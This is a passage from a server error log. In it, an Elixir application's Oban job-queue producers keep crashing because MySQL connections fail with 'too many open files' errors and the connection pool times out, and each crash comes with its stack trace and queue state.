00:56:23.239380Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.61776>, refresh_timer: #Reference<0.2525715032.1077673987.61742>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:35.275000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:35.459000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:35.910000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:36.220000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:37.121000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:37.143000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:41.108000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:47.233000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:47.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1089ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:56:35.238500Z], limit: 5, uuid: "a070f5ce-55f1-4d2f-bea6-db05ccaf6836", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:35.238506Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.232532>, refresh_timer: #Reference<0.2525715032.1077673987.61840>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:47.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:56:35.239172Z], limit: 20, uuid: "bebf000c-ab36-4b1e-9cfe-d6c8673d5957", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:35.239177Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.232530>, refresh_timer: #Reference<0.2525715032.1077673987.61851>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:47.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1083ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:56:35.238640Z], limit: 5, uuid: "5b13ecb8-80bf-4ab9-a4a7-88e17f3d80b4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:35.238645Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.232533>, refresh_timer: #Reference<0.2525715032.1077673987.61841>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:47.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1025ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:56:35.238985Z], limit: 10, uuid: "442f1b0b-d459-4aed-b389-2cddb1fc9181", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:35.238990Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.232531>, refresh_timer: #Reference<0.2525715032.1077673987.61842>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:47.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 845ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:56:35.239645Z], limit: 3, uuid: "d6914b83-ceac-4d16-96d4-4bab0a4e8a96", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:35.239650Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.232535>, refresh_timer: #Reference<0.2525715032.1068498948.88786>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:47.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 837ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:56:35.239538Z], limit: 50, uuid: "835ae49f-16cf-4e5e-b31f-92adc11e9270", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:35.239543Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.232534>, refresh_timer: #Reference<0.2525715032.1068498948.88780>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:47.548000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:50.973000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:51.855000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:52.283000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:52.635000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:55.445000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:57.411000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:56:59.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 999ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:56:47.241093Z], limit: 50, uuid: "04fbb912-b24f-44ce-92b9-6c7659b92e68", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:47.241098Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.232979>, refresh_timer: #Reference<0.2525715032.1077673987.61929>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:59.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:56:47.240098Z], limit: 3, uuid: "577efb9e-6bd3-42aa-a8bc-77d2b4dfcc3c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:47.240104Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.75256>, refresh_timer: #Reference<0.2525715032.1077673987.61916>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:56:59.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 891ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
